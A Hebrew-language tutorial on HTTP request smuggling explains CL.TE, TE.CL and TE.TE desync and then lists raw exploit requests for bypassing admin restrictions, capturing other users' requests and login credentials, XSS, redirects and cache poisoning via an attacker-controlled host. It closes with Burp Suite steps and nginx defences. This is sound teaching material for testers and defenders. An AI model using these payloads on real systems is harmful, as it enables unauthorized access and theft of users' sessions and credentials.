לדלג לתוכן

הברחת בקשות - HTTP Request Smuggling

מבוא

הברחת בקשות HTTP היא טכניקת תקיפה שמנצלת חוסר התאמה באופן שבו שרת חזיתי (front-end) ושרת אחורי (back-end) מפרשים את גבולות הבקשה. כאשר שני שרתים בשרשרת לא מסכימים היכן בקשה אחת מסתיימת והבאה מתחילה, תוקף יכול "להבריח" בקשה זדונית שתעובד כאילו היא הגיעה ממשתמש אחר.

תקיפה זו קריטית במיוחד בסביבות מודרניות שבהן reverse proxy, CDN או load balancer יושבים לפני שרת האפליקציה.


ארכיטקטורה - למה הבעיה קיימת

בסביבה מודרנית, בקשות HTTP עוברות דרך מספר שכבות:

[משתמש] --> [Front-End / CDN / Reverse Proxy] --> [Back-End / Application Server]

השרת החזיתי והאחורי שומרים על חיבור TCP פתוח ביניהם (keep-alive) ומעבירים דרכו בקשות מרובות בזו אחר זו. הבעיה נוצרת כשהם לא מסכימים היכן בקשה אחת מסתיימת.

שני הכותרות שמגדירות את אורך הגוף של בקשת HTTP:

Content-Length: 13
Transfer-Encoding: chunked

כאשר שתי הכותרות מופיעות באותה בקשה, והשרתים מתעדפים כותרת שונה - נוצרת ההברחה.


קידוד Chunked - איך זה עובד

בקידוד chunked, הגוף מחולק לחלקים. כל חלק מתחיל בגודלו בהקסדצימלי, ואחריו \r\n, הנתונים, ושוב \r\n. הסיום מסומן בחלק בגודל 0:

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

b\r\n
hello world\r\n
0\r\n
\r\n

פירוט: b הוא 11 בהקסדצימלי (אורך "hello world"), ואחרי 0\r\n\r\n הבקשה מסתיימת.


תקיפת CL.TE

בתרחיש CL.TE, השרת החזיתי משתמש ב-Content-Length והשרת האחורי משתמש ב-Transfer-Encoding.

הדגמה בסיסית

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0\r\n
\r\n
SMUGGLED

מה קורה כאן:

  1. השרת החזיתי קורא את Content-Length: 13, לוקח 13 בתים מהגוף (0\r\n\r\nSMUGGLED) ומעביר הכל לשרת האחורי
  2. השרת האחורי קורא את Transfer-Encoding: chunked, רואה חלק בגודל 0 (סיום), ומפרש את SMUGGLED כתחילת הבקשה הבאה

דוגמה מלאה - הברחת בקשת GET

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
\r\n

השרת החזיתי רואה בקשת POST אחת. השרת האחורי רואה את סיום ה-POST (חלק בגודל 0) ואז בקשת GET חדשה ל-/admin.

זיהוי CL.TE באמצעות תזמון

שולחים את הבקשה הבאה ובודקים אם יש עיכוב בתגובה:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Transfer-Encoding: chunked

1\r\n
A\r\n
X

אם השרת האחורי משתמש ב-Transfer-Encoding, הוא יחכה לחלק בגודל 0 שלא מגיע - ויווצר timeout. זה מאשר שהאחורי מעבד chunked.


תקיפת TE.CL

בתרחיש TE.CL, השרת החזיתי משתמש ב-Transfer-Encoding והשרת האחורי משתמש ב-Content-Length.

דוגמה מלאה

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

מה קורה כאן:

  1. השרת החזיתי קורא את Transfer-Encoding: chunked, מעבד את החלק בגודל 5c (92 בתים) ואת החלק בגודל 0, ומעביר הכל
  2. השרת האחורי קורא את Content-Length: 4, לוקח רק 4 בתים (5c\r\n), ומפרש את השאר כבקשה חדשה שמתחילה ב-GPOST

זיהוי TE.CL באמצעות תזמון

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 6
Transfer-Encoding: chunked

0\r\n
\r\n
X

השרת החזיתי מעבד את ה-chunked (רואה חלק בגודל 0 - סיום) ומעביר. השרת האחורי קורא Content-Length: 6, מקבל 0\r\n\r\nX (5 בתים) ומחכה לבית נוסף - timeout.


תקיפת TE.TE - ערפול Transfer-Encoding

כששני השרתים תומכים ב-Transfer-Encoding, אפשר לערפל את הכותרת כך שאחד מהם לא יזהה אותה ויחזור ל-Content-Length.

טכניקות ערפול

Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

כל אחת מהוריאציות האלה עלולה לגרום לאחד השרתים לא לזהות את הכותרת כ-Transfer-Encoding תקין, ובכך ליפול לשימוש ב-Content-Length. הבדיקה היא שיטתית - מנסים כל ערפול ובודקים את ההתנהגות.


ניצול - עקיפת בקרות גישה

תרחיש נפוץ: השרת החזיתי חוסם גישה ל-/admin, אבל השרת האחורי לא. נשתמש בהברחה כדי לגשת ישירות:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
Transfer-Encoding: chunked

0\r\n
\r\n
GET /admin HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 10\r\n
\r\n
x=1

השרת החזיתי מעביר את הבקשה ל-/ (מותר). השרת האחורי מפרש את הבקשה המוברחת כבקשה נפרדת ל-/admin - ומגיש את התוכן.


ניצול - לכידת בקשות של משתמשים אחרים

ניתן להשתמש בהברחה כדי ללכוד בקשות של משתמשים אחרים, כולל הכותרות והעוגיות שלהם:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 256
Transfer-Encoding: chunked

0\r\n
\r\n
POST /post/comment HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 800\r\n
Cookie: session=attacker-session\r\n
\r\n
comment=

הבקשה המוברחת היא POST שכותב תגובה. ה-Content-Length שלה (800) גדול מהגוף שסופק, ולכן השרת ימשיך לקרוא מהחיבור - והנתונים הבאים הם הבקשה של המשתמש הבא. הבקשה של הקורבן תצורף לפרמטר comment, והתוקף יוכל לקרוא אותה.


ניצול - XSS דרך הברחת בקשות

אם יש נקודת XSS מוחזר באפליקציה, הברחת בקשות מאפשרת לנצל אותה ללא אינטראקציה של הקורבן:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 150
Transfer-Encoding: chunked

0\r\n
\r\n
GET /post?postId=5 HTTP/1.1\r\n
User-Agent: "><script>alert(document.cookie)</script>\r\n
Host: vulnerable-website.com\r\n
\r\n

אם ה-User-Agent מוחזר בתגובה ללא סינון, הבקשה הבאה שתגיע מכל משתמש תקבל תגובה עם XSS.


ניצול - הפניה פתוחה דרך הברחת בקשות

אם האפליקציה מבצעת redirect מבוסס-Host, אפשר להשתמש בהברחה:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 116
Transfer-Encoding: chunked

0\r\n
\r\n
GET /home HTTP/1.1\r\n
Host: attacker-website.com\r\n
\r\n

אם /home מבצע redirect ל-https://Host/home/, הקורבן יופנה ל-https://attacker-website.com/home/.


ניצול - הרעלת מטמון דרך הברחת בקשות

שילוב של הברחת בקשות עם מטמון יכול להיות הרסני. התוקף מבריח בקשה שגורמת לשרת להחזיר תוכן זדוני, והתגובה נשמרת במטמון:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 129
Transfer-Encoding: chunked

0\r\n
\r\n
GET /static/main.js HTTP/1.1\r\n
Host: attacker-website.com\r\n
\r\n

אם התגובה לבקשה המוברחת (שמכילה JavaScript זדוני מהשרת של התוקף) נשמרת במטמון עבור /static/main.js, כל מבקר באתר יטען את הסקריפט הזדוני.


ניצול - לכידת אישורי התחברות

אם יש פונקציונליות התחברות, ניתן להבריח בקשה שתלכוד את האישורים של המשתמש הבא:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 267
Transfer-Encoding: chunked

0\r\n
\r\n
POST /login HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 500\r\n
\r\n
username=attacker&password=x&next=

הבקשה של הקורבן הבא תצורף לשדה next, והתוקף יוכל לראות אותה דרך ההפניה.


כלים - שימוש ב-Burp Suite

הגדרות בסיסיות

ב-Burp Suite, יש לוודא שההגדרות הבאות פעילות:

1. Settings -> Network -> HTTP -> Allow HTTP/1 keep-alive
2. Settings -> Network -> HTTP -> Set Update Content-Length = OFF
3. בעת שליחת בקשות ב-Repeater, השתמשו ב-\r\n (לחצו על הכפתור \n בפינה)

שימוש בהרחבת HTTP Request Smuggler

1. התקינו את HTTP Request Smuggler מה-BApp Store
2. לחצו ימני על בקשה -> Extensions -> HTTP Request Smuggler -> Smuggle Probe
3. ההרחבה תבדוק אוטומטית CL.TE, TE.CL ו-TE.TE
4. בדקו את הלוג ב-Dashboard עבור ממצאים

בדיקה ידנית ב-Repeater

1. שלחו בקשה רגילה ותעדו את התגובה
2. שלחו בקשת CL.TE ובדקו אם הבקשה הבאה מושפעת
3. שלחו את אותה בקשה רגילה שוב ובדקו אם התגובה השתנתה
4. אם התגובה השתנתה - יש הברחה

סיכום טכניקות זיהוי

סוג זיהוי באמצעות תזמון זיהוי באמצעות תגובה דיפרנציאלית
CL.TE שליחת chunked לא שלם עם CL קצר הברחת בקשה שגורמת לשגיאה בבקשה הבאה
TE.CL שליחת chunked שלם עם CL ארוך הברחת prefix שמשנה את הבקשה הבאה
TE.TE ניסוי ערפולים שונים של TE בדיקת התנהגות עם כל ערפול

הגנה

1. נרמול עיבוד בקשות

- ודאו ששרת חזיתי ואחורי משתמשים באותה שיטה לקביעת אורך הגוף
- דחו בקשות עם גם Content-Length וגם Transfer-Encoding

2. שימוש ב-HTTP/2 מקצה לקצה

- פרוטוקול HTTP/2 משתמש במנגנון framing בינארי שמונע עמימות
- ודאו שאין downgrade ל-HTTP/1.1 בין השרתים

3. דחיית בקשות עמומות

# דוגמה ב-nginx
if ($http_transfer_encoding ~* "chunked" ) {
    if ($content_length != "") {
        return 400;
    }
}

4. הגדרות שרת

# nginx - ביטול keep-alive לחיבור לשרת אחורי
proxy_http_version 1.0;
# או שימוש ב-HTTP/2
proxy_http_version 1.1;
proxy_set_header Connection "";

5. בדיקה תקופתית

- סרקו את התשתית באופן קבוע עם כלי Burp Suite HTTP Request Smuggler
- בדקו כל שינוי בתשתית (reverse proxy חדש, CDN חדש)
- עדכנו שרתים לגרסאות שמתמודדות טוב יותר עם בקשות עמומות

סיכום

הברחת בקשות HTTP היא אחת התקיפות הקשות ביותר לזיהוי ולהגנה. היא מנצלת את העובדה שבמערכות מודרניות יש שרשרת של שרתים שמעבדים את אותה בקשה, ולא תמיד הם מסכימים על הפרשנות. נקודות מפתח:

  • ההבדל בין CL.TE, TE.CL ו-TE.TE נקבע לפי איזו כותרת כל שרת מתעדף
  • זיהוי מתבצע באמצעות תזמון או תגובות דיפרנציאליות
  • הניצול יכול להוביל לעקיפת בקרות, לכידת אישורים, הרעלת מטמון ו-XSS
  • ההגנה הטובה ביותר היא שימוש ב-HTTP/2 מקצה לקצה ודחיית בקשות עמומות